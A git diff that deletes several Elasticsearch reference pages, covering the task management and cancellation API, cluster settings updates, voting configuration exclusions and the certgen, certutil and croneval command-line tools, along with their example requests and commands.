-          "parent_task_id" : "oTUltX4IQMOUUVeiohTt8A:123"
-        },
-        "oTUltX4IQMOUUVeiohTt8A:123" : {
-          "node" : "oTUltX4IQMOUUVeiohTt8A",
-          "id" : 123,
-          "type" : "transport",
-          "action" : "cluster:monitor/tasks/lists",
-          "start_time_in_millis" : 1458585884904,
-          "running_time_in_nanos" : 236042,
-          "cancellable" : false
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-===== Retrieve information from a particular task
-
-It is also possible to retrieve information for a particular task. The following 
-example retrieves information about task `oTUltX4IQMOUUVeiohTt8A:124`:
-
-[source,console]
---------------------------------------------------
-GET _tasks/oTUltX4IQMOUUVeiohTt8A:124
---------------------------------------------------
-// TEST[catch:missing]
-
-If the task isn't found, the API returns a 404.
-
-To retrieve all children of a particular task:
-
-[source,console]
---------------------------------------------------
-GET _tasks?parent_task_id=oTUltX4IQMOUUVeiohTt8A:123
---------------------------------------------------
-
-If the parent isn't found, the API does not return a 404.
-
-
-===== Get more information about tasks
-
-You can also use the `detailed` request parameter to get more information about
-the running tasks. This is useful for telling one task from another but is more
-costly to execute. For example, fetching all searches using the `detailed`
-request parameter:
-
-[source,console]
---------------------------------------------------
-GET _tasks?actions=*search&detailed
---------------------------------------------------
-// TEST[skip:No tasks to retrieve]
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "nodes" : {
-    "oTUltX4IQMOUUVeiohTt8A" : {
-      "name" : "H5dfFeA",
-      "transport_address" : "127.0.0.1:9300",
-      "host" : "127.0.0.1",
-      "ip" : "127.0.0.1:9300",
-      "tasks" : {
-        "oTUltX4IQMOUUVeiohTt8A:464" : {
-          "node" : "oTUltX4IQMOUUVeiohTt8A",
-          "id" : 464,
-          "type" : "transport",
-          "action" : "indices:data/read/search",
-          "description" : "indices[test], types[test], search_type[QUERY_THEN_FETCH], source[{\"query\":...}]",
-          "start_time_in_millis" : 1483478610008,
-          "running_time_in_nanos" : 13991383,
-          "cancellable" : true
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The new `description` field contains human readable text that identifies the
-particular request that the task is performing such as identifying the search
-request being performed by a search task like the example above. Other kinds of
-task have different descriptions, like <<docs-reindex,`_reindex`>> which
-has the search and the destination, or <<docs-bulk,`_bulk`>> which just has the
-number of requests and the destination indices. Many requests will only have an
-empty description because more detailed information about the request is not
-easily available or particularly helpful in identifying the request.
-
-[IMPORTANT]
-==============================
-
-`_tasks` requests with `detailed` may also return a `status`. This is a report
-of the internal status of the task. As such its format varies from task to task.
-While we try to keep the `status` for a particular task consistent from version
-to version this isn't always possible because we sometimes change the
-implementation. In that case we might remove fields from the `status` for a
-particular request so any parsing you do of the status might break in minor
-releases.
-
-==============================
-
-
-===== Wait for completion
-
-The task API can also be used to wait for completion of a particular task. The
-following call will block for 10 seconds or until the task with id
-`oTUltX4IQMOUUVeiohTt8A:12345` is completed.
-
-[source,console]
---------------------------------------------------
-GET _tasks/oTUltX4IQMOUUVeiohTt8A:12345?wait_for_completion=true&timeout=10s
---------------------------------------------------
-// TEST[catch:missing]
-
-You can also wait for all tasks for certain action types to finish. This command 
-will wait for all `reindex` tasks to finish:
-
-[source,console]
---------------------------------------------------
-GET _tasks?actions=*reindex&wait_for_completion=true&timeout=10s
---------------------------------------------------
-
-[[task-cancellation]]
-===== Task Cancellation
-
-If a long-running task supports cancellation, it can be cancelled with the cancel 
-tasks API. The following example cancels task `oTUltX4IQMOUUVeiohTt8A:12345`:
-
-[source,console]
---------------------------------------------------
-POST _tasks/oTUltX4IQMOUUVeiohTt8A:12345/_cancel
---------------------------------------------------
-
-The task cancellation command supports the same task selection parameters as the 
-list tasks command, so multiple tasks can be cancelled at the same time. For 
-example, the following command will cancel all reindex tasks running on the 
-nodes `nodeId1` and `nodeId2`.
-
-`wait_for_completion`::
-(Optional, Boolean) If `true`, the request blocks until the cancellation of the
-task and its descendant tasks is completed. Otherwise, the request can return soon
-after the cancellation is started. Defaults to `false`.
-
-[source,console]
---------------------------------------------------
-POST _tasks/_cancel?nodes=nodeId1,nodeId2&actions=*reindex
---------------------------------------------------
-
-===== Task Grouping
-
-The task lists returned by task API commands can be grouped either by nodes 
-(default) or by parent tasks using the `group_by` parameter. The following 
-command will change the grouping to parent tasks:
-
-[source,console]
---------------------------------------------------
-GET _tasks?group_by=parents
---------------------------------------------------
-
-The grouping can be disabled by specifying `none` as a `group_by` parameter:
-
-[source,console]
---------------------------------------------------
-GET _tasks?group_by=none
---------------------------------------------------
-
-
-===== Identifying running tasks
-
-The `X-Opaque-Id` header, when provided on the HTTP request header, is going to 
-be returned as a header in the response as well as in the `headers` field for in 
-the task information. This allows to track certain calls, or associate certain 
-tasks with the client that started them:
-
-[source,sh]
---------------------------------------------------
-curl -i -H "X-Opaque-Id: 123456" "http://localhost:9200/_tasks?group_by=parents"
---------------------------------------------------
-//NOTCONSOLE
-
-The API returns the following result:
-
-[source,js]
---------------------------------------------------
-HTTP/1.1 200 OK
-X-Opaque-Id: 123456 <1>
-content-type: application/json; charset=UTF-8
-content-length: 831
-
-{
-  "tasks" : {
-    "u5lcZHqcQhu-rUoFaqDphA:45" : {
-      "node" : "u5lcZHqcQhu-rUoFaqDphA",
-      "id" : 45,
-      "type" : "transport",
-      "action" : "cluster:monitor/tasks/lists",
-      "start_time_in_millis" : 1513823752749,
-      "running_time_in_nanos" : 293139,
-      "cancellable" : false,
-      "headers" : {
-        "X-Opaque-Id" : "123456" <2>
-      },
-      "children" : [
-        {
-          "node" : "u5lcZHqcQhu-rUoFaqDphA",
-          "id" : 46,
-          "type" : "direct",
-          "action" : "cluster:monitor/tasks/lists[n]",
-          "start_time_in_millis" : 1513823752750,
-          "running_time_in_nanos" : 92133,
-          "cancellable" : false,
-          "parent_task_id" : "u5lcZHqcQhu-rUoFaqDphA:45",
-          "headers" : {
-            "X-Opaque-Id" : "123456" <3>
-          }
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-//NOTCONSOLE
-<1> id as a part of the response header
-<2> id for the tasks that was initiated by the REST request
-<3> the child task of the task initiated by the REST request
diff --git a/docs/reference/cluster/update-settings.asciidoc b/docs/reference/cluster/update-settings.asciidoc
deleted file mode 100644
index 54f58696528..00000000000
--- a/docs/reference/cluster/update-settings.asciidoc
+++ /dev/null
@@ -1,143 +0,0 @@
-[[cluster-update-settings]]
-=== Cluster update settings API
-++++
-<titleabbrev>Cluster update settings</titleabbrev>
-++++
-
-Updates cluster-wide settings. 
-
-
-[[cluster-update-settings-api-request]]
-==== {api-request-title}
-
-`PUT /_cluster/settings`
-
-[[cluster-update-settings-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `manage`
-<<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cluster-update-settings-api-desc]]
-==== {api-description-title}
-
-With specifications in the request body, this API call can update cluster 
-settings. Updates to settings can be persistent, meaning they apply across 
-restarts, or transient, where they don't survive a full cluster restart.
-
-You can reset persistent or transient settings by assigning a `null` value. If a 
-transient setting is reset, the first one of these values that is defined is 
-applied:
-
-* the persistent setting
-* the setting in the configuration file
-* the default value. 
-
-The order of precedence for cluster settings is:
-
-1. transient cluster settings 
-2. persistent cluster settings
-3. settings in the `elasticsearch.yml` configuration file.
-
-It's best to set all cluster-wide settings with the `settings` API and use the
-`elasticsearch.yml` file only for local configurations. This way you can be sure that
-the setting is the same on all nodes. If, on the other hand, you define different
-settings on different nodes by accident using the configuration file, it is very
-difficult to notice these discrepancies.
-
-
-[[cluster-update-settings-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=flat-settings]
-
-`include_defaults`::
-    (Optional, Boolean) If `true`, returns all default cluster settings. 
-    Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-
-[[cluster-update-settings-api-example]]
-==== {api-examples-title}
-
-An example of a persistent update:
-
-[source,console]
---------------------------------------------------
-PUT /_cluster/settings
-{
-  "persistent" : {
-    "indices.recovery.max_bytes_per_sec" : "50mb"
-  }
-}
---------------------------------------------------
-
-
-An example of a transient update:
-
-[source,console]
---------------------------------------------------
-PUT /_cluster/settings?flat_settings=true
-{
-  "transient" : {
-    "indices.recovery.max_bytes_per_sec" : "20mb"
-  }
-}
---------------------------------------------------
-
-
-The response to an update returns the changed setting, as in this response to 
-the transient example:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "persistent" : { },
-  "transient" : {
-    "indices.recovery.max_bytes_per_sec" : "20mb"
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"acknowledged": true,/]
-
-
-This example resets a setting:
-
-[source,console]
---------------------------------------------------
-PUT /_cluster/settings
-{
-  "transient" : {
-    "indices.recovery.max_bytes_per_sec" : null
-  }
-}
---------------------------------------------------
-
-
-The response does not include settings that have been reset:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "persistent" : {},
-  "transient" : {}
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"acknowledged": true,/]
-
-
-You can also reset settings using wildcards. For example, to reset
-all dynamic `indices.recovery` settings:
-
-[source,console]
---------------------------------------------------
-PUT /_cluster/settings
-{
-  "transient" : {
-    "indices.recovery.*" : null
-  }
-}
---------------------------------------------------
diff --git a/docs/reference/cluster/voting-exclusions.asciidoc b/docs/reference/cluster/voting-exclusions.asciidoc
deleted file mode 100644
index 021c1866240..00000000000
--- a/docs/reference/cluster/voting-exclusions.asciidoc
+++ /dev/null
@@ -1,95 +0,0 @@
-[[voting-config-exclusions]]
-=== Voting configuration exclusions API
-++++
-<titleabbrev>Voting configuration exclusions</titleabbrev>
-++++
-
-Adds or removes master-eligible nodes from the
-<<modules-discovery-voting,voting configuration exclusion list>>.
-
-
-[[voting-config-exclusions-api-request]]
-==== {api-request-title}
-
-`POST /_cluster/voting_config_exclusions?node_names=<node_names>` +
-
-`POST /_cluster/voting_config_exclusions?node_ids=<node_ids>` +
-
-`DELETE /_cluster/voting_config_exclusions`
-
-[[voting-config-exclusions-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `manage`
-<<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[voting-config-exclusions-api-desc]]
-==== {api-description-title}
-  
-By default, if there are more than three master-eligible nodes in the cluster
-and you remove fewer than half of the master-eligible nodes in the cluster at
-once, the <<modules-discovery-voting,voting configuration>> automatically
-shrinks.
-
-If you want to shrink the voting configuration to contain fewer than three nodes
-or to remove half or more of the master-eligible nodes in the cluster at once,
-you must use this API to remove departed nodes from the voting configuration
-manually. It adds an entry for that node in the voting configuration exclusions
-list. The cluster then tries to reconfigure the voting configuration to remove
-that node and to prevent it from returning.
-
-If the API fails, you can safely retry it.  Only a successful response
-guarantees that the node has been removed from the voting configuration and will
-not be reinstated.
-
-NOTE: Voting exclusions are required only when you remove at least half of the
-master-eligible nodes from a cluster in a short time period. They are not
-required when removing master-ineligible nodes or fewer than half of the
-master-eligible nodes.
-
-For more information, see <<modules-discovery-removing-nodes>>.
-
-[[voting-config-exclusions-api-query-params]]
-==== {api-query-parms-title}
-
-`node_names`::
-A comma-separated list of the names of the nodes to exclude from the voting
-configuration. If specified, you may not also specify `?node_ids`.
-
-`node_ids`::
-A comma-separated list of the persistent ids of the nodes to exclude from the
-voting configuration. If specified, you may not also specify `?node_names`.
-
-`timeout`::
-(Optional, <<time-units, time units>>) When adding a voting configuration
-exclusion, the API waits for the specified nodes to be excluded from the voting
-configuration before returning. The period of time to wait is specified by the
-`?timeout` query parameter. If the timeout expires before the appropriate
-condition is satisfied, the request fails and returns an error. Defaults to
-`30s`.
-
-`wait_for_removal`::
-(Optional, Boolean) Specifies whether to wait for all excluded nodes to be
-removed from the cluster before clearing the voting configuration exclusions
-list. Defaults to `true`, meaning that all excluded nodes must be removed from
-the cluster before this API takes any action. If set to `false` then the voting
-configuration exclusions list is cleared even if some excluded nodes are still
-in the cluster.
-  
-[[voting-config-exclusions-api-example]]
-==== {api-examples-title}
-
-Adds nodes named `nodeName1` and `nodeName2` to the voting configuration
-exclusions list:
-
-[source,console]
--------------------------------------------------- 
-POST /_cluster/voting_config_exclusions?node_names=nodeName1,nodeName2
---------------------------------------------------
-
-Remove all exclusions from the list:
-
-[source,console]
---------------------------------------------------
-DELETE /_cluster/voting_config_exclusions
---------------------------------------------------
diff --git a/docs/reference/commands/certgen.asciidoc b/docs/reference/commands/certgen.asciidoc
deleted file mode 100644
index 78f5901312d..00000000000
--- a/docs/reference/commands/certgen.asciidoc
+++ /dev/null
@@ -1,160 +0,0 @@
-[role="xpack"]
-[testenv="gold+"]
-[[certgen]]
-== elasticsearch-certgen
-
-deprecated[6.1,"Replaced by <<certutil,`elasticsearch-certutil`>>."]
-
-The `elasticsearch-certgen` command simplifies the creation of certificate
-authorities (CA), certificate signing requests (CSR), and signed certificates
-for use with the Elastic Stack. Though this command is deprecated, you do not
-need to replace CAs, CSRs, or certificates that it created.
-
-[discrete]
-=== Synopsis
-
-[source,shell]
---------------------------------------------------
-bin/elasticsearch-certgen
-(([--cert <cert_file>] [--days <n>] [--dn <name>] [--key <key_file>]
-[--keysize <bits>] [--pass <password>] [--p12 <password>])
-| [--csr])
-[-E <KeyValuePair>] [-h, --help] [--in <input_file>] [--out <output_file>]
-([-s, --silent] | [-v, --verbose])
---------------------------------------------------
-
-[discrete]
-=== Description
-
-By default, the command runs in interactive mode and you are prompted for
-information about each instance. An instance is any piece of the Elastic Stack
-that requires a Transport Layer Security (TLS) or SSL certificate. Depending on
-your configuration, {es}, Logstash, {kib}, and Beats might all require a
-certificate and private key.
-
-The minimum required value for each instance is a name. This can simply be the
-hostname, which is used as the Common Name of the certificate. You can also use
-a full distinguished name. IP addresses and DNS names are optional. Multiple
-values can be specified as a comma separated string. If no IP addresses or DNS
-names are provided, you might disable hostname verification in your TLS or SSL
-configuration.
-
-Depending on the parameters that you specify, you are also prompted for
-necessary information such as the path for the output file and the CA private
-key password.
-
-The `elasticsearch-certgen` command also supports a silent mode of operation to
-enable easier batch operations. For more information, see <<certgen-silent>>.
-
-The output file is a zip file that contains the signed certificates and private
-keys for each instance. If you chose to generate a CA, which is the default
-behavior, the certificate and private key are included in the output file. If
-you chose to generate CSRs, you should provide them to your commercial or
-organization-specific certificate authority to obtain signed certificates. The
-signed certificates must be in PEM format to work with the {stack}
-{security-features}.
-
-[discrete]
-[[certgen-parameters]]
-=== Parameters
-
-`--cert <cert_file>`:: Specifies to generate new instance certificates and keys
-using an existing CA certificate, which is provided in the `<cert_file>` argument.
-This parameter cannot be used with the `-csr` parameter.
-
-`--csr`:: Specifies to operate in certificate signing request mode.
-
-`--days <n>`::
-Specifies an integer value that represents the number of days the generated keys
-are valid. The default value is `1095`. This parameter cannot be used with the
-`-csr` parameter.
-
-`--dn <name>`::
-Defines the _Distinguished Name_ that is used for the generated CA certificate.
-The default value is `CN=Elastic Certificate Tool Autogenerated CA`.
-This parameter cannot be used with the `-csr` parameter.
-
-`-E <KeyValuePair>`:: Configures a setting.
-
-`-h, --help`:: Returns all of the command parameters.
-
-`--in <input_file>`:: Specifies the file that is used to run in silent mode. The
-input file must be a YAML file, as described in <<certgen-silent>>.
-
-`--key <key_file>`:: Specifies the _private-key_ file for the CA certificate.
-This parameter is required whenever the `-cert` parameter is used.
-
-`--keysize <bits>`::
-Defines the number of bits that are used in generated RSA keys. The default
-value is `2048`.
-
-`--out <output_file>`:: Specifies a path for the output file.
-
-`--pass <password>`:: Specifies the password for the CA private key.
-If the `-key` parameter is provided, then this is the password for the existing
-private key file. Otherwise, it is the password that should be applied to the
-generated CA key. This parameter cannot be used with the `-csr` parameter.
-
-`--p12 <password>`::
-Generate a PKCS#12 (`.p12` or `.pfx`) container file for each of the instance
-certificates and keys. The generated file is protected by the supplied password,
-which can be blank. This parameter cannot be used with the `-csr` parameter.
-
-`-s, --silent`:: Shows minimal output.
-
-`-v, --verbose`:: Shows verbose output.
-
-[discrete]
-=== Examples
-
-[discrete]
-[[certgen-silent]]
-==== Using `elasticsearch-certgen` in Silent Mode
-
-To use the silent mode of operation, you must create a YAML file that contains
-information about the instances. It must match the following format:
-
-[source, yaml]
---------------------------------------------------
-instances:
-  - name: "node1" <1>
-    ip: <2>
-      - "192.0.2.1"
-    dns: <3>
-      - "node1.mydomain.com"
-  - name: "node2"
-    ip:
-      - "192.0.2.2"
-      - "198.51.100.1"
-  - name: "node3"
-  - name: "node4"
-    dns:
-      - "node4.mydomain.com"
-      - "node4.internal"
-  - name: "CN=node5,OU=IT,DC=mydomain,DC=com"
-    filename: "node5" <4>
---------------------------------------------------
-<1> The name of the instance. This can be a simple string value or can be a
-Distinguished Name (DN). This is the only required field.
-<2> An optional array of strings that represent IP Addresses for this instance.
-Both IPv4 and IPv6 values are allowed. The values are added as Subject
-Alternative Names.
-<3> An optional array of strings that represent DNS names for this instance.
-The values are added as Subject Alternative Names.
-<4> The filename to use for this instance. This name is used as the name of the
-directory that contains the instance's files in the output. It is also used in
-the names of the files within the directory. This filename should not have an
-extension. Note: If the `name` provided for the instance does not represent a
-valid filename, then the `filename` field must be present.
-
-When your YAML file is ready, you can use the `elasticsearch-certgen` command to
-generate certificates or certificate signing requests. Simply use the `-in`
-parameter to specify the location of the file. For example:
-
-[source, sh]
---------------------------------------------------
-bin/elasticsearch-certgen -in instances.yml
---------------------------------------------------
-
-This command generates a CA certificate and private key as well as certificates
-and private keys for the instances that are listed in the YAML file.
diff --git a/docs/reference/commands/certutil.asciidoc b/docs/reference/commands/certutil.asciidoc
deleted file mode 100644
index f8735614433..00000000000
--- a/docs/reference/commands/certutil.asciidoc
+++ /dev/null
@@ -1,313 +0,0 @@
-[role="xpack"]
-[testenv="gold+"]
-[[certutil]]
-== elasticsearch-certutil
-
-The `elasticsearch-certutil` command simplifies the creation of certificates for
-use with Transport Layer Security (TLS) in the {stack}.
-
-[discrete]
-=== Synopsis
-
-[source,shell]
---------------------------------------------------
-bin/elasticsearch-certutil
-(
-(ca [--ca-dn <name>] [--days <n>] [--pem])
-
-| (cert ([--ca <file_path>] | [--ca-cert <file_path> --ca-key <file_path>])
-[--ca-dn <name>] [--ca-pass <password>] [--days <n>]
-[--dns <domain_name>] [--in <input_file>] [--ip <ip_addresses>]
-[--keep-ca-key] [--multiple] [--name <file_name>] [--pem])
-
-| (csr [--dns <domain_name>] [--in <input_file>] [--ip <ip_addresses>]
-[--name <file_name>])
-
-[-E <KeyValuePair>] [--keysize <bits>] [--out <file_path>]
-[--pass <password>]
-)
-
-| http
-
-[-h, --help] ([-s, --silent] | [-v, --verbose])
---------------------------------------------------
-
-[discrete]
-=== Description
-
-You can specify one of the following modes: `ca`, `cert`, `csr`, `http`. The
-`elasticsearch-certutil` command also supports a silent mode of operation to
-enable easier batch operations.
-
-[discrete]
-[[certutil-ca]]
-==== CA mode
-
-The `ca` mode generates a new certificate authority (CA). By default, it
-produces a single PKCS#12 output file, which holds the CA certificate and the
-private key for the CA. If you specify the `--pem` parameter, the command
-generates a zip file, which contains the certificate and private key in PEM
-format.
-
-You can subsequently use these files as input for the `cert` mode of the command.
-
-[discrete]
-[[certutil-cert]]
-==== CERT mode
-
-The `cert` mode generates X.509 certificates and private keys. By default, it
-produces a single certificate and key for use on a single instance.
-
-To generate certificates and keys for multiple instances, specify the
-`--multiple` parameter, which prompts you for details about each instance.
-Alternatively, you can use the `--in` parameter to specify a YAML file that
-contains details about the instances.
-
-An instance is any piece of the Elastic Stack that requires a TLS or SSL
-certificate. Depending on your configuration, {es}, Logstash, {kib}, and Beats
-might all require a certificate and private key. The minimum required
-information for an instance is its name, which is used as the common name for
-the certificate. The instance name can be a hostname value or a full
-distinguished name. If the instance name would result in an invalid file or
-directory name, you must also specify a file name in the `--name` command
-parameter or in the `filename` field in an input YAML file.
-
-You can optionally provide IP addresses or DNS names for each instance. If
-neither IP addresses nor DNS names are specified, the Elastic stack products
-cannot perform hostname verification and you might need to configure the
-`verification_mode` security setting to `certificate` only. For more information
-about this setting, see <<security-settings>>.
-
-All certificates that are generated by this command are signed by a CA. You can
-provide your own CA with the `--ca` or `--ca-cert` parameters. Otherwise, the
-command automatically generates a new CA for you. For more information about
-generating a CA, see the <<certutil-ca,CA mode of this command>>.
-
-By default, the `cert` mode produces a single PKCS#12 output file which holds
-the instance certificate, the instance private key, and the CA certificate. If
-you specify the `--pem` parameter, the command generates PEM formatted
-certificates and keys and packages them into a zip file.
-If you specify the `--keep-ca-key`, `--multiple` or `--in` parameters,
-the command produces a zip file containing the generated certificates and keys.
-
-[discrete]
-[[certutil-csr]]
-==== CSR mode
-
-The `csr` mode generates certificate signing requests (CSRs) that you can send
-to a trusted certificate authority to obtain signed certificates. The signed
-certificates must be in PEM or PKCS#12 format to work with {es}
-{security-features}.
-
-By default, the command produces a single CSR for a single instance.
-
-To generate CSRs for multiple instances, specify the `--multiple` parameter,
-which prompts you for details about each instance. Alternatively, you can use
-the `--in` parameter to specify a YAML file that contains details about the
-instances.
-
-The `csr` mode produces a single zip file which contains the CSRs and the
-private keys for each instance. Each CSR is provided as a standard PEM
-encoding of a PKCS#10 CSR. Each key is provided as a PEM encoding of an RSA
-private key.
-
-[discrete]
-[[certutil-http]]
-==== HTTP mode
-
-The `http` mode guides you through the process of generating certificates for
-use on the HTTP (REST) interface for {es}. It asks you a number of questions in
-order to generate the right set of files for your needs. For example, depending
-on your choices, it might generate a zip file that contains a certificate
-authority (CA), a certificate signing request (CSR), or certificates and keys
-for use in {es} and {kib}. Each folder in the zip file contains a readme that
-explains how to use the files.
-
-[discrete]
-[[certutil-parameters]]
-=== Parameters
-
-`ca`:: Specifies to generate a new local certificate authority (CA). This
-parameter cannot be used with the `csr` or `cert` parameters.
-
-`cert`:: Specifies to generate new X.509 certificates and keys.
-This parameter cannot be used with the `csr` or `ca` parameters.
-
-`csr`:: Specifies to generate certificate signing requests. This parameter
-cannot be used with the `ca` or `cert` parameters.
-
-`http`:: Generates a new certificate or certificate request for the {es} HTTP
-interface.
-
-`--ca <file_path>`:: Specifies the path to an existing CA key pair
-(in PKCS#12 format). This parameter cannot be used with the `ca` or `csr` parameters.
-
-`--ca-cert <file_path>`:: Specifies the path to an existing CA certificate (in
-PEM format). You must also specify the `--ca-key` parameter. The `--ca-cert`
-parameter cannot be used with the `ca` or `csr` parameters.
-
-`--ca-dn <name>`:: Defines the _Distinguished Name_ (DN) that is used for the
-generated CA certificate. The default value is
-`CN=Elastic Certificate Tool Autogenerated CA`. This parameter cannot be used
-with the `csr` parameter.
-
-`--ca-key <file_path>`:: Specifies the path to an existing CA private key (in
-PEM format). You must also specify the `--ca-cert` parameter. The `--ca-key`
-parameter cannot be used with the `ca` or `csr` parameters.
-
-`--ca-pass <password>`:: Specifies the password for an existing CA private key
-or the generated CA private key. This parameter cannot be used with the `ca` or
-`csr` parameters.
-
-`--days <n>`:: Specifies an integer value that represents the number of days the
-generated certificates are valid. The default value is `1095`. This parameter
-cannot be used with the `csr` parameter.
-
-`--dns <domain_name>`:: Specifies a comma-separated list of DNS names. This
-parameter cannot be used with the `ca` parameter.
-
-`-E <KeyValuePair>`:: Configures a setting.
-
-`-h, --help`:: Returns all of the command parameters.
-
-`--in <input_file>`:: Specifies the file that is used to run in silent mode. The
-input file must be a YAML file. This parameter cannot be used with the `ca`
-parameter.
-
-`--ip <IP_addresses>`:: Specifies a comma-separated list of IP addresses. This
-parameter cannot be used with the `ca` parameter.
-
-`--keep-ca-key`:: When running in `cert` mode with an automatically-generated
-CA, specifies to retain the CA private key for future use.
-
-`--keysize <bits>`::
-Defines the number of bits that are used in generated RSA keys. The default
-value is `2048`.
-
-`--multiple`::
-Specifies to generate files for multiple instances. This parameter cannot be
-used with the `ca` parameter.
-
-`--name <file_name>`::
-Specifies the name of the generated certificate. This parameter cannot be used
-with the `ca` parameter.
-
-`--out <file_path>`:: Specifies a path for the output files.
-
-`--pass <password>`:: Specifies the password for the generated private keys.
-+
-Keys stored in PKCS#12 format are always password protected, however,
-this password may be _blank_. If you want to specify a blank password
-without a prompt, use `--pass ""` (with no `=`) on the command line.
-+
-Keys stored in PEM format are password protected only if the
-`--pass` parameter is specified. If you do not supply an argument for the
-`--pass` parameter, you are prompted for a password.
-Encrypted PEM files do not support blank passwords (if you do not
-wish to password-protect your PEM keys, then do not specify
-`--pass`).
-
-
-`--pem`:: Generates certificates and keys in PEM format instead of PKCS#12. This
-parameter cannot be used with the `csr` parameter.
-
-`-s, --silent`:: Shows minimal output.
-
-`-v, --verbose`:: Shows verbose output.
-
-[discrete]
-=== Examples
-
-The following command generates a CA certificate and private key in PKCS#12
-format:
-
-[source, sh]
---------------------------------------------------
-bin/elasticsearch-certutil ca
---------------------------------------------------
-
-You are prompted for an output filename and a password. Alternatively, you can
-specify the `--out` and `--pass` parameters.
-
-You can then generate X.509 certificates and private keys by using the new
-CA. For example:
-
-[source, sh]
---------------------------------------------------
-bin/elasticsearch-certutil cert --ca elastic-stack-ca.p12
---------------------------------------------------
-
-You are prompted for the CA password and for an output filename and password.
-Alternatively, you can specify the `--ca-pass`, `--out`, and `--pass` parameters.
-
-By default, this command generates a file called `elastic-certificates.p12`,
-which you can copy to the relevant configuration directory for each Elastic
-product that you want to configure. For more information, see
-<<ssl-tls>>.
-
-[discrete]
-[[certutil-silent]]
-==== Using `elasticsearch-certutil` in Silent Mode
-
-To use the silent mode of operation, you must create a YAML file that contains
-information about the instances. It must match the following format:
-
-[source, yaml]
---------------------------------------------------
-instances:
-  - name: "node1" <1>
-    ip: <2>
-      - "192.0.2.1"
-    dns: <3>
-      - "node1.mydomain.com"
-  - name: "node2"
-    ip:
-      - "192.0.2.2"
-      - "198.51.100.1"
-  - name: "node3"
-  - name: "node4"
-    dns:
-      - "node4.mydomain.com"
-      - "node4.internal"
-  - name: "CN=node5,OU=IT,DC=mydomain,DC=com"
-    filename: "node5" <4>
---------------------------------------------------
-<1> The name of the instance. This can be a simple string value or can be a
-Distinguished Name (DN). This is the only required field.
-<2> An optional array of strings that represent IP Addresses for this instance.
-Both IPv4 and IPv6 values are allowed. The values are added as Subject
-Alternative Names.
-<3> An optional array of strings that represent DNS names for this instance.
-The values are added as Subject Alternative Names.
-<4> The filename to use for this instance. This name is used as the name of the
-directory that contains the instance's files in the output. It is also used in
-the names of the files within the directory. This filename should not have an
-extension. Note: If the `name` provided for the instance does not represent a
-valid filename, then the `filename` field must be present.
-
-When your YAML file is ready, you can use the `elasticsearch-certutil` command
-to generate certificates or certificate signing requests. Simply use the `--in`
-parameter to specify the location of the file. For example:
-
-[source, sh]
---------------------------------------------------
-bin/elasticsearch-certutil cert --silent --in instances.yml --out test1.zip --pass testpassword --keep-ca-key
---------------------------------------------------
-
-This command generates a compressed `test1.zip` file. After you decompress the
-output file, there is a directory for each instance that was listed in the
-`instances.yml` file. Each instance directory contains a single PKCS#12 (`.p12`)
-file, which contains the instance certificate, instance private key, and CA
-certificate.
-
-You an also use the YAML file to generate certificate signing requests. For
-example:
-
-[source, sh]
---------------------------------------------------
-bin/elasticsearch-certutil csr --silent --in instances.yml --out test2.zip --pass testpassword
---------------------------------------------------
-
-This command generates a compressed file, which contains a directory for each
-instance. Each instance directory contains a certificate signing request
-(`*.csr` file) and private key (`*.key` file).
diff --git a/docs/reference/commands/croneval.asciidoc b/docs/reference/commands/croneval.asciidoc
deleted file mode 100644
index f066444e3bb..00000000000
--- a/docs/reference/commands/croneval.asciidoc
+++ /dev/null
@@ -1,57 +0,0 @@
-[role="xpack"]
-[testenv="gold+"]
-[[elasticsearch-croneval]]
-== elasticsearch-croneval
-
-Validates and evaluates a <<cron-expressions,cron expression>>. 
-
-[discrete]
-=== Synopsis
-
-[source,shell]
---------------------------------------------------
-bin/elasticsearch-croneval <expression>
-[-c, --count <integer>] [-h, --help]
-([-s, --silent] | [-v, --verbose])
---------------------------------------------------
-
-[discrete]
-=== Description
-
-This command enables you to verify that your
-cron expressions are valid for use with
-{es} and produce the expected results.
-
-This command is provided in the `$ES_HOME/bin` directory.
-
-[discrete]
-[[elasticsearch-croneval-parameters]]
-=== Parameters
-
-`-c, --count` <Integer>::
-  The number of future times this expression will be triggered. The default
-  value is `10`.
-
-`-d, --detail`::
-  Shows detail for invalid cron expression. It will print the stacktrace if the
-  expression is not valid.
-
-`-h, --help`::
-  Returns all of the command parameters.
-
-`-s, --silent`::
-  Shows minimal output.
-                                 
-`-v, --verbose`::
-  Shows verbose output.
-
-[discrete]
-=== Example
-
-If the cron expression is valid, the following command displays the next
-20 times that the schedule will be triggered:
-
-[source,bash]
---------------------------------------------------
-bin/elasticsearch-croneval "0 0/1 * * * ?" -c 20
---------------------------------------------------
diff --git a/docs/reference/commands/index.asciidoc b/docs/reference/commands/index.asciidoc
deleted file mode 100644
index 70cc6261e74..00000000000
--- a/docs/reference/commands/index.asciidoc
+++ /dev/null
@@ -1,34 +0,0 @@
-[[commands]]
-= Command line tools
-
-[partintro]
---
-
-{es} provides the following tools for configuring security and performing other 
-tasks from the command line:
-
-* <<certgen>>
-* <<certutil>>
-* <<elasticsearch-croneval>>
-* <<elasticsearch-keystore>>
-* <<migrate-tool>>
-* <<node-tool>>
-* <<saml-metadata>>
-* <<setup-passwords>>
-* <<shard-tool>>
-* <<syskeygen>>
-* <<users-command>>
-
---
-
-include::certgen.asciidoc[]
-include::certutil.asciidoc[]
-include::croneval.asciidoc[]
-include::keystore.asciidoc[]
-include::migrate-tool.asciidoc[]
-include::node-tool.asciidoc[]
-include::saml-metadata.asciidoc[]
-include::setup-passwords.asciidoc[]
-include::shard-tool.asciidoc[]
-include::syskeygen.asciidoc[]
-include::users-command.asciidoc[]
